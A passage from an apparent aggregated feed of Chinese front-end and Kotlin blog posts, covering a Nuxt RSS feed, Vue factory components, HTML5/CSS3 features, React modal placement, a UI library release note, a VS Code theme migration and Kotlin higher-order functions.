        ]
      })
    }
  }

  const feedString = feed.xml();

  setResponseHeader(event, 'Content-Type', 'text/xml')

  return feedString

})

先来说明一下每一段主要逻辑

const config = useRuntimeConfig() 需要你在 nuxt.config.ts 中配置如下信息:

runtimeConfig: {
baseURL: 'your url' // 或者使用环境变量覆盖
}

使用 queryCollection 获取到所有原始的 md 内容

我们的目的就是把每一篇文章都生成一个 feed item, 所以循环所有文章,调用 feed.item()

此时出现了第一个问题: md原内容并不是等同于直接读取md文件,存在数据库中的原内容已经使\n 变为了 \\n

所以为了使md能被正常解析,需要先清除一下没用的字符

同文件下:

function cleanInvalidChars(content:string) {
  return content.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F]/g, '').replace(/\\n/g, '\n').trim();
}

处理好后,如果不写 custom_elements ,这个 feed 也已经有效了,但缺点就是无法在 RSS 阅读器中直接阅读文章内容。

所以刚才一堆插件,就是为了解析 custom_elements 里要塞入的 html 字符串

同文件下:

function renderPageContent(content: string) {
  const pipeline = unified()
  .use(remarkParse)
  .use(remarkBreaks)
  .use(remarkFrontmatter, ["yaml"])
  .use(remarkGfm, {  singleTilde: false })
  .use(remarkDirective)
  .use(remarkDirectiveRehype)
  .use(remarkRehype)
  .use(rehypeSanitize)
  .use(rehypeAutolinkHeadings)
  .use(rehypeStringify)

  const mdastTree = pipeline.parse(content)
  const hastTree = pipeline.runSync(mdastTree, content)
  return toHtml(hastTree)
}

此时,你可以在你的 RSS 阅读器中订阅自己的博客,然后看看是否能展示正常的文章内容了,或者在发布之前,先在浏览器打开 feed.xml ,观察 xml 内的文章内容渲染是否正确。

使用插件算是比较简单的实现方式了,搭配 AI 来手动写函数处理的话也是浪费了我不少时间,最后还有很多兼容问题,头铁的朋友可以试试

最后

欢迎订阅我的博客:RSS ,为你带来最新的 Nuxt 实战内容

链接: blog.zzao.club/feed.xml


插件库会随着时间逐步完善,所以本文同样具有时效性。但无论如何,文章开头的版本号代表本文的生效范围。

欢迎在评论区留下你的疑问和高见~

by Aatrox at January 21, 2025 08:40 AM

当 Vue 遇上鸿蒙:我的声明式 UI 实验笔记

当 Vue 遇上鸿蒙:我的声明式 UI 实验笔记

1. 前言

最近在学习鸿蒙开发,接触到 ArkUI 的声明式开发范式,不禁联想到 Vue 是否也能以类似的方式构建 UI,像 Flutter 和 ArkUI 那样优雅地描述界面。于是,带着这份好奇与探索欲,我决定动手实践一番。经过一番折腾,终于捣鼓出了一个小玩具,不仅加深了对 Vue 的理解,也让我对声明式 UI 的魅力有了更深的体会。

在这篇博文中,我将分享这段有趣的探索之旅,希望能为同样对声明式开发感兴趣的你带来一些启发和灵感。如果你也喜欢折腾技术,不妨一起踏上这段奇妙的旅程吧!🚀

2. 基础搭建和样式库

基础库使用vite搭建,并导入样式库naive-ui (题主公司最近的项目用的这个,就用这个作为示例,也可以使用其他的)且安装jsx插件@vitejs/plugin-vue-jsx

//按流程创建模板工程
npm create vite@latest
//导入样式库
npm i -D naive-ui
//安装jsx插件
npm i @vitejs/plugin-vue-jsx -D

3. 封装工厂类

核心思想就是实现一个类进行链式调用即可。下面举俩个例子,完整示例请看文章末尾。

  1. 定义一个ButtonFactory 工厂类。

    import { NButton } from "naive-ui";
    import { getSlotsDom } from "./utils";
    import type { ButtonProps } from "naive-ui";
    import type { BaseComponentType } from "./types";
    import type { HTMLAttributes } from "vue";
    export type ButtonFactoryConstructorType = {
      props?: ButtonProps;
      attrs?: HTMLAttributes;
      defaultSlot?: BaseComponentType;
      iconSlot?: BaseComponentType;
    };
    export class ButtonFactory {
      private defaultSlot: BaseComponentType = null;
      private iconSlot: BaseComponentType = null;
      private props: ButtonProps = {};
      private attrs: HTMLAttributes = {};
      constructor(param?: ButtonFactoryConstructorType) {
        if (param?.props) this.setProps(param.props);
        if (param?.defaultSlot) this.setDefault(param.defaultSlot);
        if (param?.iconSlot) this.setIcon(param.iconSlot);
        if (param?.attrs) this.setAttrs(param.attrs);
      }
      setAttrs(attrs: HTMLAttributes) {
        this.attrs = attrs;
        return this;
      }
      setProps(props: ButtonProps) {
        this.props = props;
        return this;
      }
      setDefault(component: BaseComponentType) {
        this.defaultSlot = component;
        return this;
      }
      setIcon(component: BaseComponentType) {
        this.iconSlot = component;
        return this;
      }
    
      create() {
        return (
          <NButton {...this.attrs} {...this.props}>
            {{
              default: () => getSlotsDom(this.defaultSlot),
              icon: () => getSlotsDom(this.iconSlot),
            }}
          </NButton>
        );
      }
    }
    
    
    
  2. 定义CardFactory工厂类

    import { NCard } from "naive-ui";
    import type { CardProps } from "naive-ui";
    import type { BaseComponentType } from "./types";
    import type { HTMLAttributes } from "vue";
    import { getSlotsDom } from "./utils";
    export type CardFactoryConstructorType = {
      props?: CardProps;
      defaultSlot?: BaseComponentType;
      coverSlot?: BaseComponentType;
      headerSlot?: BaseComponentType;
      headerExtraSlot?: BaseComponentType;
      footSlot?: BaseComponentType;
      actionSlot?: BaseComponentType;
      attrs?: HTMLAttributes;
    };
    export class CardFactory {
      private defaultSlot: BaseComponentType = null;
      private coverSlot: BaseComponentType = null;
      private headerSlot: BaseComponentType = null;
      private headerExtraSlot: BaseComponentType = null;
    
      private footSlot: BaseComponentType = null;
      private actionSlot: BaseComponentType = null;
    
      private props: CardProps = {};
      private attrs: HTMLAttributes = {};
    
      constructor(param?: CardFactoryConstructorType) {
        if (param?.props) this.setProps(param.props);
        if (param?.defaultSlot) this.setDefault(param.defaultSlot);
        if (param?.coverSlot) this.setCover(param.coverSlot);
        if (param?.attrs) this.setAttrs(param.attrs);
        if (param?.headerSlot) this.setHeader(param.headerSlot);
        if (param?.headerExtraSlot) this.setHeaderExtra(param.headerExtraSlot);
        if (param?.footSlot) this.setFoot(param.footSlot);
        if (param?.actionSlot) this.setAction(param.actionSlot);
      }
      setAttrs(attrs: HTMLAttributes) {
        this.attrs = attrs;
        return this;
      }
      setProps(props: CardProps) {
        this.props = props;
        return this;
      }
      setDefault(component: BaseComponentType) {
        this.defaultSlot = component;
        return this;
      }
      setHeader(component: BaseComponentType) {
        this.headerSlot = component;
        return this;
      }
      setHeaderExtra(component: BaseComponentType) {
        this.headerExtraSlot = component;
        return this;
      }
      setCover(component: BaseComponentType) {
        this.coverSlot = component;
        return this;
      }
    
      setFoot(component: BaseComponentType) {
        this.footSlot = component;
        return this;
      }
    
      setAction(component: BaseComponentType) {
        this.actionSlot = component;
        return this;
      }
      create() {
        return (
          <NCard {...this.attrs} {...this.props}>
            {{
              default: () => getSlotsDom(this.defaultSlot),
              cover: () => getSlotsDom(this.coverSlot),
              header: () => getSlotsDom(this.headerSlot),
              "header-extra": () => getSlotsDom(this.headerExtraSlot),
              foot: () => getSlotsDom(this.footSlot),
              action: () => getSlotsDom(this.actionSlot),
            }}
          </NCard>
        );
      }
    }
    
    

4. 具体使用

import { defineComponent } from "vue";
import { ButtonFactory } from "./factory/ButtonFactory";
import { ButtonGroupFactory } from "./factory/ButtonGroupFactory";
import { AvatarFactory } from "./factory/AvatarFactory";
import { AvatarGroupFactory } from "./factory/AvatarGroupFactory";
import type { AvatarGroupOption } from "naive-ui";
import { CardFactory } from "./factory/CardFactory";
export default defineComponent({
  name: "App",
  setup() {
    return () =>
      new CardFactory()
        .setHeader(new AvatarFactory().setDefault("张三").create())
        .setHeaderExtra(
          new AvatarGroupFactory()
            .setProps({
              options: [
                {
                  name: "张三",
                  src: "https://gw.alipayobjects.com/zos/antfincdn/aPkFc8Sj7n/method-draw-image.svg",
                },
                {
                  name: "李四",
                  src: "https://07akioni.oss-cn-beijing.aliyuncs.com/07akioni.jpeg",
                },
                {
                  name: "王五",
                  src: "https://gw.alipayobjects.com/zos/antfincdn/aPkFc8Sj7n/method-draw-image.svg",
                },
                {
                  name: "赵六",
                  src: "https://07akioni.oss-cn-beijing.aliyuncs.com/07akioni.jpeg",
                },
                {
                  name: "孙七",
                  src: "https://gw.alipayobjects.com/zos/antfincdn/aPkFc8Sj7n/method-draw-image.svg",
                },
              ] as unknown as Array<AvatarGroupOption>,
              max: 3,
            })
            .setAvatar((v) =>
              new AvatarFactory().setProps({ src: v?.option.src }).create()
            )
            .setRest((v) =>
              new AvatarFactory().setDefault("+" + v?.rest).create()
            )
            .create()
        )
        .setAction([
          new ButtonFactory().setDefault("btn1").create(),
          new ButtonFactory().setDefault("btn2").create(),
        ])
        .setDefault([
          new ButtonGroupFactory()
            .setDefault(() => [
              new ButtonFactory().setDefault("btn1").create(),
              new ButtonFactory().setDefault("btn2").create(),
              new ButtonFactory().setDefault("btn3").create(),
            ])
            .setProps({
              vertical: true,
            })
            .create(),
        ])
        .create();
  },
});

实际运行效果:

微信图片_20250121161652.png

5. 总结

通过这次从鸿蒙 ArkUI 到 Vue 的声明式 UI 探索,我深刻体会到声明式开发的魅力所在。无论是 ArkUI 的简洁优雅,还是 Flutter 的强大灵活,亦或是 Vue 的轻量易用,它们都在用不同的方式诠释着“声明式”这一核心理念。而这次实践,不仅让我对 Vue 的能力有了新的认识,也让我意识到,前端开发的边界远比我们想象的更加广阔。

当然,这个小玩具只是一个起点,未来还有很多可以优化的地方,比如性能优化、功能扩展,甚至是跨框架的兼容性探索。如果你也对声明式 UI 感兴趣,不妨动手试试,或许你会有更多有趣的发现!

最后,感谢你阅读这篇博文,希望我的分享能为你带来一些启发。如果你有任何想法或建议,欢迎在评论区交流讨论。让我们一起探索前端开发的无限可能吧!🚀

完整示例 希望这个封装思路能够帮助到大家,也可以动动小手指,给作者点个小星星~

by iRainna at January 21, 2025 08:32 AM

HTML5和CSS3新增属性简要概括

HTML5和CSS3的出现极大地丰富了网页开发的功能和用户体验。它们引入了许多新属性和特性,使得网页设计更加灵活、语义化和交互性强。以下是对HTML5和CSS3新增属性的详细总结。

HTML5新增属性

1. 语义化标签

HTML5引入了一系列语义化标签,使网页结构更加清晰,便于搜索引擎优化(SEO)和辅助技术的理解:

  • <header>:页面或区块的页眉。
  • <nav>:导航链接组。
  • <section>:独立的内容区块。
  • <article>:独立的、完整的内容块。
  • <aside>:侧边栏或与主要内容相关的辅助信息。
  • <footer>:页面或区块的页脚。

2. 表单增强

HTML5为表单控件引入了新的输入类型和属性,提升了用户体验:

  • 新的输入类型:emailurlsearchdatetimerange 等,新增的属性可以帮助用户高效率的输入信息,也可以方便后台管理数据。

  • 新的表单属性:

    • autofocus:页面加载时自动获取焦点(自动获取光标)。
    • required:输入框不能为空(必填项)。
    • placeholder:提供输入提示。

3. 多媒体支持

HTML5原生支持音频和视频,无需依赖插件:

  • <audio>:用于播放音频文件,大多数浏览器都支持MP3。
  • <video>:用于播放视频文件,大多数浏览器都支持MP4。

CSS3新增属性

1. 外观与布局

CSS3引入了许多新属性,用于增强页面的视觉效果:

  • border-radius:实现圆角边框,我们可以美化一些元素。
  • box-shadowtext-shadow:分别为元素和文本添加阴影效果。

2. 新增选择器

CSS3增加了一些可以提高代码效率的选择器:

1.属性选择器:
input[value] {
//选择具有value属性的输入框
}
div[class="box"] {
//选择类名为box的div盒子
}
input[type="password"] {
//选择类型为密码的输入框
}

当需要选择多个类名同根的元素时:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    div[class^="box"] {
      width: 100px;
      height: 100px;
      margin: 10px;
      background-color: #f00;
      float: left;
      //选择类名以box开头的元素
    }

    div[class$="icon"] {
      width: 100px;
      height: 100px;
      margin: 10px;
      background-color: #0f0;
      float: left;
      //选择类名以icon结尾的元素
    }

    div[class*="Data"] {
      width: 100px;
      height: 100px;
      margin: 10px;
      background-color: #00f;
      float: left;
      //选择类名中含有Data的元素
    }
  </style>
</head>

<body>
  <div class="box1"></div>
  <div class="box2"></div>
  <div class="box3"></div>
  <div class="box4"></div>
  <div class="first-icon"></div>
  <div class="second-icon"></div>
  <div class="third-icon"></div>
  <div class="fourth-icon"></div>
  <div class="first-Data-1"></div>
  <div class="second-Data-2"></div>
  <div class="third-Data-3"></div>
  <div class="fourth-Data-4"></div>
</body>

</html>

3. 动画与过渡

CSS3支持动画和过渡效果,无需JavaScript即可实现复杂的视觉效果:

  • transition:实现属性值的平滑过渡,给需要过渡的元素添加,代码规则如下:transition: width 1s ease 0s,对应的四个值是:需要过渡的属性、过渡时间、过渡曲线、开始时间(延时时间)
  • @keyframesanimation:定义动画的关键帧和控制动画行为。

关键帧的动画定义如下:

@keyframes move {
    0% {}
    
    50% {
         width225px;
    }
    
    100% {
        width: 300px
    }
    //百分比表示运动时间的分段,表示在该时间分段时某个属性的变化到何值
}
//move是动画的名字,支持自定义
//调用时使用animation属性调用
div {
    width: 150px;
    high: 150px;
    animation: move;
}
//关键帧动画同样可以设置一些动画时间、动画曲线等等属性:
属性意义
animation-name动画名称自定义的名称
animation-duration动画时间0.1s
animation-timing-function动画曲线ease等
animation-delay开始时间(延时)0s
animation-iteration-count循环次数数字或infinite(无限)
animation-fill-mode终末状态backwards/forwards返回或不返回
animation-play-state动画状态pause/running暂停或继续(通常搭配hover使用)

4. 3D和变换

CSS3支持2D和3D变换,以及更复杂的视觉效果:

  • transform:实现旋转、缩放、倾斜等变换。

后续会详细介绍一些转换的属性及特点。

by liro at January 21, 2025 08:23 AM

父组件循环调用子组件,子组件循环调用孙子组件,孙子组件需要弹窗,Modal 的放置位置

在 React 中,父组件循环调用子组件,子组件循环调用孙子组件,孙子组件需要弹窗,Modal 的放置位置有几种常见的选择,每种方式都有其优缺点。

1. Modal 放在孙子组件中

Modal 直接放在孙子组件中是最直接的方式。这种方式的优点是逻辑集中,孙子组件完全封装了自己的行为,不需要父组件或子组件关心弹窗的实现。

示例代码:

jsx复制

// 孙子组件
const GrandChildComponent = ({ showModal, setShowModal }) => {
  return (
    <div>
      <button onClick={() => setShowModal(true)}>打开弹窗</button>
      <Modal
        title="弹窗标题"
        visible={showModal}
        onCancel={() => setShowModal(false)}
        onOk={() => setShowModal(false)}
      >
        <p>弹窗内容</p>
      </Modal>
    </div>
  );
};

// 子组件
const ChildComponent = ({ items }) => {
  return (
    <div>
      {items.map((item, index) => (
        <GrandChildComponent key={index} showModal={false} setShowModal={() => {}} />
      ))}
    </div>
  );
};

// 父组件
const ParentComponent = ({ data }) => {
  return (
    <div>
      {data.map((item, index) => (
        <ChildComponent key={index} items={item.children} />
      ))}
    </div>
  );
};

优点:

  1. 封装性好:孙子组件完全封装了自己的弹窗逻辑,不需要父组件或子组件关心。
  2. 代码清晰:逻辑集中,易于维护。

缺点:

  1. 重复代码:如果孙子组件多次使用,可能会导致重复的弹窗逻辑。
  2. 状态管理复杂:如果弹窗需要与父组件或子组件交互,状态管理可能会变得复杂。

2. Modal 放在子组件中

Modal 放在子组件中,由子组件统一管理弹窗逻辑。这种方式适用于孙子组件的弹窗逻辑较为相似,且不需要父组件直接干预的情况。

示例代码:

jsx复制

// 孙子组件
const GrandChildComponent = ({ showModal, setShowModal }) => {
  return (
    <div>
      <button onClick={() => setShowModal(true)}>打开弹窗</button>
    </div>
  );
};

// 子组件
const ChildComponent = ({ items }) => {
  const [showModal, setShowModal] = React.useState(false);

  return (
    <div>
      {items.map((item, index) => (
        <GrandChildComponent key={index} showModal={showModal} setShowModal={setShowModal} />
      ))}
      <Modal
        title="弹窗标题"
        visible={showModal}
        onCancel={() => setShowModal(false)}
        onOk={() => setShowModal(false)}
      >
        <p>弹窗内容</p>
      </Modal>
    </div>
  );
};

// 父组件
const ParentComponent = ({ data }) => {
  return (
    <div>
      {data.map((item, index) => (
        <ChildComponent key={index} items={item.children} />
      ))}
    </div>
  );
};

优点:

  1. 减少重复代码:子组件统一管理弹窗逻辑,避免了孙子组件中的重复代码。
  2. 逻辑集中:弹窗逻辑集中在子组件中,便于维护。

缺点:

  1. 状态管理复杂:如果孙子组件的弹窗逻辑差异较大,状态管理可能会变得复杂。
  2. 灵活性差:孙子组件的弹窗逻辑受到子组件的限制,不够灵活。

3. Modal 放在父组件中

Modal 放在父组件中,由父组件统一管理弹窗逻辑。这种方式适用于弹窗需要与父组件直接交互,或者弹窗逻辑较为复杂的情况。

示例代码:

jsx复制

// 孙子组件
const GrandChildComponent = ({ openModal }) => {
  return (
    <div>
      <button onClick={openModal}>打开弹窗</button>
    </div>
  );
};

// 子组件
const ChildComponent = ({ items, openModal }) => {
  return (
    <div>
      {items.map((item, index) => (
        <GrandChildComponent key={index} openModal={openModal} />
      ))}
    </div>
  );
};

// 父组件
const ParentComponent = ({ data }) => {
  const [showModal, setShowModal] = React.useState(false);

  const openModal = () => setShowModal(true);

  return (
    <div>
      {data.map((item, index) => (
        <ChildComponent key={index} items={item.children} openModal={openModal} />
      ))}
      <Modal
        title="弹窗标题"
        visible={showModal}
        onCancel={() => setShowModal(false)}
        onOk={() => setShowModal(false)}
      >
        <p>弹窗内容</p>
      </Modal>
    </div>
  );
};

优点:

  1. 集中管理:父组件统一管理弹窗逻辑,便于全局控制。
  2. 灵活性高:弹窗逻辑可以根据父组件的状态动态调整。

缺点:

  1. 代码分散:弹窗逻辑分散在多个组件中,维护成本较高。
  2. 性能问题:父组件的重新渲染可能会导致子组件和孙子组件的不必要渲染。

4. 使用 Context 或 Redux 管理弹窗状态

如果弹窗逻辑较为复杂,且需要在多个层级之间共享状态,可以使用 Context 或状态管理库(如 Redux)来管理弹窗的状态。

示例代码(使用 Context):

jsx复制

import React, { createContext, useContext, useState } from 'react';
import { Modal } from 'antd';

const ModalContext = createContext();

const ModalProvider = ({ children }) => {
  const [showModal, setShowModal] = useState(false);

  const openModal = () => setShowModal(true);
  const closeModal = () => setShowModal(false);

  return (
    <ModalContext.Provider value={{ openModal, closeModal }}>
      {children}
      <Modal
        title="弹窗标题"
        visible={showModal}
        onCancel={closeModal}
        onOk={closeModal}
      >
        <p>弹窗内容</p>
      </Modal>
    </ModalContext.Provider>
  );
};

const GrandChildComponent = () => {
  const { openModal } = useContext(ModalContext);
  return <button onClick={openModal}>打开弹窗</button>;
};

const ChildComponent = ({ items }) => {
  return (
    <div>
      {items.map((item, index) => (
        <GrandChildComponent key={index} />
      ))}
    </div>
  );
};

const ParentComponent = ({ data }) => {
  return (
    <ModalProvider>
      {data.map((item, index) => (
        <ChildComponent key={index} items={item.children} />
      ))}
    </ModalProvider>
  );
};

优点:

  1. 状态共享:通过 Context 或 Redux,可以在多个层级之间共享弹窗状态。
  2. 解耦:组件之间的耦合度降低,弹窗逻辑与组件逻辑分离。

缺点:

  1. 复杂度增加:引入 Context 或 Redux 会增加代码复杂度。
  2. 性能问题:如果状态管理不当,可能会导致性能问题。

总结

  • 如果弹窗逻辑简单且只与孙子组件相关,可以将 Modal 放在孙子组件中。
  • 如果弹窗逻辑在子组件中较为通用,可以将 Modal 放在子组件中。
  • 如果弹窗需要与父组件交互或逻辑复杂,可以将 Modal 放在父组件中。
  • 如果弹窗状态需要在多个层级之间共享,可以使用 Context 或 Redux 管理状态。

by 再吃一根胡萝卜 at January 21, 2025 08:19 AM

oschina news project

🎉 View Shadcn UI v2025.1.2 发布公告:全新跑马灯组件与多项优化更新

亲爱的开发者们:

我们很高兴地宣布 View Shadcn UI 2025.1.2 版本正式发布!本次更新带来了全新的跑马灯组件,并对多个现有组件进行了功能增强和问题修复。

🚀 重要链接

📦 新版本亮点

🎪 全新跑马灯组件

  • 灵活的滚动控制:
    • 支持自定义滚动速度
    • 鼠标悬停暂停功能
    • 可配置重复次数
  • 简单易用的基础功能
  • 流畅的动画效果

⌨️ 代码编辑器增强

  • 多端点提示数据获取支持
  • 优化自动提示词缓冲配置
  • 新增提示服务访问限制
  • 修复提示选择后的数据同步问题

✨ 现有组件优化

  • 复选框:

    • 新增半选状态支持
    • 支持全选模式
  • 功能修复:

    • 修复开关组件自定义文本溢出问题
    • 修复链接组件自动拉伸问题
    • 优化树组件懒加载节点的展开逻辑

🔜 后续规划

我们将继续专注于提升组件的易用性和性能,同时计划推出更多实用组件。欢迎社区参与贡献和提供反馈!

🤝 参与贡献

如果您在使用过程中遇到问题或有新的想法,欢迎:

感谢所有为这个版本贡献代码和反馈的开发者们!

by 来源: 投稿 at January 21, 2025 07:46 AM

juejin freebie

【迁移trae的主题到vscode】遇到的一个问题,请教下vscode的主题配色相关变量

方法:使用 shift + command + p, 找到这个

image.png 悬浮就能看到颜色的信息 image.png 然后完成迁移

image.png

vscode

js

trae.png

go

vscode-go.png

trae - js

trae.png

trae-go.png

"oneDarkPro.editorTheme": "One Dark Pro Flat",
"oneDarkPro.vivid": true,
"oneDarkPro.color": {
"green": "#82D99F",
"chalky": "#F0D8FF",
"deepRed": "#F2858C",
"malibu": "#F29D79",
"purple": "#B38CFF",
"fountainBlue": "#80BBFF",
"whiskey": "#DED47E",
"lightWhite": "#D5D8E0"
},
"workbench.colorCustomizations": {
"sideBar.background": "#171b26",
"sideBar.foreground": "#c9d1d9",
"sideBar.border": "#262a37",
"sideBarTitle.foreground": "#c9d1d9",
"activityBar.background": "#262a37",
"activityBar.foreground": "#c9d1d9",
"editor.background": "#171b26",
"editor.foreground": "#c9d1d9",
"editor.lineHighlightBackground": "#2a2e3e",
"editor.selectionBackground": "#3a3f4b",
"editorGroup.background": "#1e2127",
"editorGroup.border": "#171b26",
"editorGroupHeader.tabsBackground": "#171b26",
"editorGroupHeader.tabsBorder": "#262a37",
"titleBar.activeBackground": "#262a37",
"tab.activeBackground": "#363b4e",
"tab.activeForeground": "#c9d1d9",
"tab.inactiveBackground": "#262a37",
"tab.inactiveForeground": "#c9d1d9",
"tab.hoverBackground": "#363b4e",
"list.activeSelectionBackground": "#363b4e",
"list.activeSelectionForeground": "#c9d1d9",
"list.hoverBackground": "#2a2e3e",
},

现在还差一个html的标签:template.html.source.vue 等一些颜色,onedarkpro主题似乎都直接用了chalky,有jy知道如何完成完整的迁移吗?

by saberc8 at January 21, 2025 07:21 AM

juejin android

Kotlin 2.1.0 入门教程(七)

高阶函数和 lambda 表达式

Kotlin 函数是一等公民,这意味着它们可以存储在变量和数据结构中,并且可以作为参数传递给其他高阶函数或从其他高阶函数返回。您可以对函数执行任何适用于其他非函数值的操作。

为了实现这一点,Kotlin 作为一种静态类型编程语言,使用一系列函数类型来表示函数,并提供了一组专门的语言构造,例如 lambda 表达式。

fun main() {
    // 定义一个高阶函数。
    fun operateOnNumbers(a: Int, b: Int, operation: (Int, Int) -> Int): Int {
        return operation(a, b)
    }

    // 使用 lambda 表达式作为参数。
    val sum = operateOnNumbers(3, 4) { x, y -> x + y }
    println("3 + 4 = $sum") // 3 + 4 = 7
}

高阶函数

高阶函数是接受函数作为参数或返回函数的函数。

高阶函数的一个很好的例子是函数式编程中的 fold 惯用法,用于集合。它接受一个初始累加器值和一个组合函数,并通过依次将当前累加器值与每个集合元素组合来构建其返回值,每次替换累加器值:

fun <T, R> Collection<T>.fold(
    initial: R,
    combine: (acc: R, nextElement: T) -> R
): R {
    var accumulator: R = initial
    for (element: T in this) {
        accumulator = combine(accumulator, element)
    }
    return accumulator
}

使用:

fun main() {
    val list = listOf(2, 3, 4)
    
    /* 
     * acc = 0, item = 2, acc + item
     * acc = 2, item = 3, acc + item
     * acc = 5, item = 4, acc + item
     */
    list.fold(0) { acc, item ->
        println("acc = $acc, item = $item, acc + item");
        acc + item
    }
    
    /*
     * acc = 1, item = 2, acc * item
     * acc = 2, item = 3, acc * item
     * acc = 6, item = 4, acc * item
     */
    list.fold(1) { acc: Int, item: Int ->
        println("acc = $acc, item = $item, acc * item");
        acc * item
    }
}

函数类型

Kotlin 使用函数类型,例如 (Int) -> String,来处理与函数相关的声明。

这些类型具有与函数签名(参数和返回值)对应的特殊表示法:

  • 所有函数类型都有一个带括号的参数类型列表和一个返回类型 (A, B) -> C 表示一个类型,该类型表示接受类型为 AB 的两个参数并返回类型为 C 的值的函数。参数类型列表可以为空,例如 () -> AUnit 返回类型不能省略。

  • 函数类型可以选择性地具有一个额外的接收者类型,该类型在表示法中位于点之前:类型 A.(B) -> C 表示可以在接收者对象 A 上调用的函数,该函数接受参数 B 并返回值 C

  • 挂起函数属于一种特殊的函数类型,其表示法中带有 suspend 修饰符,例如 suspend () -> Unitsuspend A.(B) -> C

fun main() {
    val func1: () -> Unit = { println("click") }
    val func2: () -> Unit = fun () { println("press") }
    
    func1() // click
    func2() // press
}
fun main() {
    val func1: (String) -> String = {
        name -> "Hello, $name!"
    }
    println(func1("Kotlin")) // Hello, Kotlin!

    val func2: String.(String) -> String = {
        other -> "Hello, $this and $other!"
    }
    println("Alice".func2("Bob")) // Hello, Alice and Bob!
}

函数类型表示法可以选择性地包含函数参数的名称:(x: Int, y: Int) -> Point。这些名称可用于记录参数的含义。

要指定函数类型为可空,请使用括号:((Int, Int) -> Int)?

函数类型也可以使用括号组合:(Int) -> ((Int) -> Unit)

fun main() {
    val nullableFunction: ((Int, Int) -> Int)? = { x, y -> x + y }
    val combinedFunction: (Int) -> ((Int) -> Unit) = {
        x -> {
            y -> println(x + y)
        }
    }

    println("${nullableFunction?.invoke(3, 4)}") // 7
    combinedFunction(3)(4) // 7
}

箭头表示法是右结合的,(Int) -> (Int) -> Unit 等同于前面的示例,但与 ((Int) -> (Int)) -> Unit 不同。

fun main() {
    val func: (Boolean) -> (Int) -> Boolean = { bool -> {
        x ->
        println("x = $x, bool = $bool")
        bool
    }}
    
    // x = 0, bool = false
    // false
    println(func(false)(0))
    
    val func2: (Boolean) -> ((Int) -> Boolean) = { bool -> {
        x ->
        println("x = $x, bool = $bool")
        bool
    }}
    
    // x = 1, bool = true
    // true
    println(func2(true)(1))
}
fun main() {
    val func: (Boolean) -> (Int) -> Boolean = fun (bool: Boolean): (Int) -> Boolean {
        return fun (x: Int): Boolean {
            println("x = $x, bool = $bool")
            return bool
        }
    }
    
    // x = 1, bool = false
    // false
    println(func(false)(1))
}

还可以使用类型别名为函数类型提供替代名称。

typealias ClickHandler = (Button, ClickEvent) -> Unit

实例化函数类型

有几种方法可以获取函数类型的实例:

  • 使用函数字面量中的代码块,采用以下形式之一:

    • lambda 表达式:{ a, b -> a + b }

    • 匿名函数:fun (s: String): Int { return s.toIntOrNull() ?: 0 }

  • 带有接收者的函数字面量可以用作带有接收者的函数类型的值。

  • 使用对现有声明的可调用引用:

    • 顶层、局部、成员或扩展函数:::isOddString::toInt

    • 顶层、成员或扩展属性:List<Int>::size

    • 构造函数:::Regex

  • 这些包括绑定指向特定实例成员的可调用引用:foo::toString

  • 使用实现函数类型作为接口的自定义类的实例。

fun main() {
    // 定义一个带有接收者的函数类型 StringBuilder.(String) -> Unit。
    val appendText: StringBuilder.(String) -> Unit = {
        // this 指向 StringBuilder 对象。
        this.append(it)
    }

    val sb = StringBuilder()
    sb.appendText("Hello, ")
    sb.appendText("Kotlin!")

    println(sb.toString()) // Hello, Kotlin!
}
fun main() {
    val appendText: StringBuilder.(String) -> Unit = { str -> this.append(str) }

    val sb = StringBuilder()
    sb.appendText("Hello, ")
    sb.appendText("Kotlin!")

    println(sb.toString()) // Hello, Kotlin!
}
// 顶层函数。
fun isOdd(n: Int): Boolean = n % 2 != 0

fun main() {
    // 引用顶层函数。
    val func1: (Int) -> Boolean = ::isOdd

    println(func1(3)) // true
    println(func1(4)) // false
    
    // 局部函数。
    fun localFunc(n: Int): Boolean {
        return if (n == 1) true else false
    }
    
    // 引用局部函数。
    val func2: (Int) -> Boolean = ::localFunc
    
    println(func2(1)) // true
}
// 扩展函数。
fun String.myToInt(): Int {
    return this.toInt()
}

fun main() {
    // 引用成员函数。
    val func1: String.() -> Int = String::toInt

    println("123".func1()) // 123
    
    // 引用扩展函数。
    val func2: String.() -> Int = String::myToInt

    println("123".func2()) // 123
}
// 顶层属性。
val pi: Int = 10

// 扩展属性。
val String.isPalindrome: Boolean
    get() = this == this.reversed()

fun main() {
    // 引用顶层属性。
    val myPi: () -> Int = ::pi
    
    // 引用成员属性。
    val myLength: (String) -> Int = String::length
    
    // 引用扩展属性。
    val myPalindrome: (String) -> Boolean = String::isPalindrome
    
    println(myPi()) // 10
    println(myLength("abc")) // 3
    println(myPalindrome("abc")) // false
}
fun main() {
    // 引用 String 的无参构造函数。
    val stringConstructor: () -> String = ::String

    // 调用构造函数。
    val emptyString = stringConstructor()
    println("Empty string: '$emptyString'") // Empty string: ''
}
fun main() {
    // 引用 String 的 CharArray 构造函数。
    val stringConstructor: (CharArray) -> String = ::String

    // 调用构造函数。
    val charArray = charArrayOf('H', 'e', 'l', 'l', 'o')
    val str = stringConstructor(charArray)
    println("String from char array: '$str'") // String from char array: 'Hello'
}
class Foo {
    override fun toString(): String = "Foo"
}

fun main() {
    val foo = Foo()

    // 绑定可调用引用 foo::toString。
    val toStringGetter: () -> String = foo::toString

    println(toStringGetter()) // Foo
}
class IntTransformer: (Int) -> Int {
    override operator fun invoke(x: Int): Int = TODO()
}

val intFunction: (Int) -> Int = IntTransformer()

带有和不带有接收者的函数类型的非字面量值可以互换,因此接收者可以代替第一个参数,反之亦然。

例如,类型为 (A, B) -> C 的值可以在需要类型为 A.(B) -> C 的值的地方传递或赋值,反之亦然。

fun main() {
    // 普通函数类型。
    val add: (Int, Int) -> Int = { a, b -> a + b }

    // 带有接收者的函数类型。
    val addWithReceiver: Int.(Int) -> Int = { other -> this + other }

    // 互相赋值。
    val addAsReceiver: Int.(Int) -> Int = add
    val addAsNormal: (Int, Int) -> Int = addWithReceiver

    println("${add(3, 4)}") // 7
    println("${3.addWithReceiver(4)}") // 7
}
val repeatFun: String.(Int) -> String = { times -> this.repeat(times) }
val twoParameters: (String, Int) -> String = repeatFun

fun runTransformation(f: (String, Int) -> String): String {
    return f("hello", 3)
}
val result = runTransformation(repeatFun)

默认情况下,推断的函数类型没有接收者,即使变量是用扩展函数的引用初始化的。要改变这一点,请显式指定变量类型。

fun main() {
